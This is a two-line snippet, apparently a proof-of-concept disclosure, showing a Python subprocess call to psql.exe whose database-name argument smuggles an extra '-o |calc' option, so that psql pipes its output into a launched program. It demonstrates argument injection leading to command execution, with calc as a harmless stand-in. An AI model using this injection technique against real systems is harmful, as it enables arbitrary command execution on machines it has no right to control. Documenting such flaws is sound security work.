You are able to inject pipe to execute arbitrary commands
subprocess.run(['psql.exe', '-U', 'root', '-d', 'mydb" "-o" "|calc', '-c', 'SELECT 1;'])